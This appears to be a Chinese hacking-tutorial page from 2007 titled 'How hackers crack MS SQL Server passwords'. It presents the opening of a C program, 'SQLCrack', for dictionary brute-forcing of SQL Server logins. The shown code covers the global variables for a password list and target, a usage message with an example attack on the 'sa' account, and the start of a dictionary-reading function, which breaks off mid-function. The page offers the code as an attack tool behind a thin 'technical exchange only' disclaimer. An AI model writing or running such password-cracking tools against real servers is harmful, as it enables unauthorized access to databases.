收藏本站 收藏本站
积木网首页 - 软件测试 - 常用手册 - 站长工具 - 技术社区
积木学院 > 黑客技术 > 入侵实例 > 正文

黑客是如何破解MSSQLSERCVER密码的

来源:互联摘选 日期:2007-07-27 18:34
 此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!
  
  这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。
  
  //程序所用到的头文件
  
  //定义全局变量
  char dict[20000][40],//准备探测的密码
  UserName[40],//用户名
  target[40],//目标服务器
  passwd[40];//已经探测出来的正确密码
  int total=0;//字典里面单词数量
  BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
  
  //
  //函数:usage
  //功能:显示程序帮助信息
  //
  void usage()
  {
  printf("\nPower by analyzer〈
inmiao@163.com〉"
  "\nhttp://
www.infocn.com"
  "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉"
 "\nExample:SQLCrack 192.168.0.1 sa c:\\pwd.dic 50\n");
  return;
  }
  //
  //函数:ReadDic
  //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码
  //说明:函数运行失败返回值1,成功返回0
  //
  int ReadDic(char *dic)
  {
  FILE *fp;
  char tmp[40];
  
  //打开字典文件
  if((fp=fopen(dic,"r"))==NULL)
  {
  printf("\nCan't open %s",dic);
  return 1;
  }
强悍的草根IT技术社区,这里应该有您想要的!
Copyright © 2010 Gimoo.Net. All Rights Rreserved  京ICP备05050695号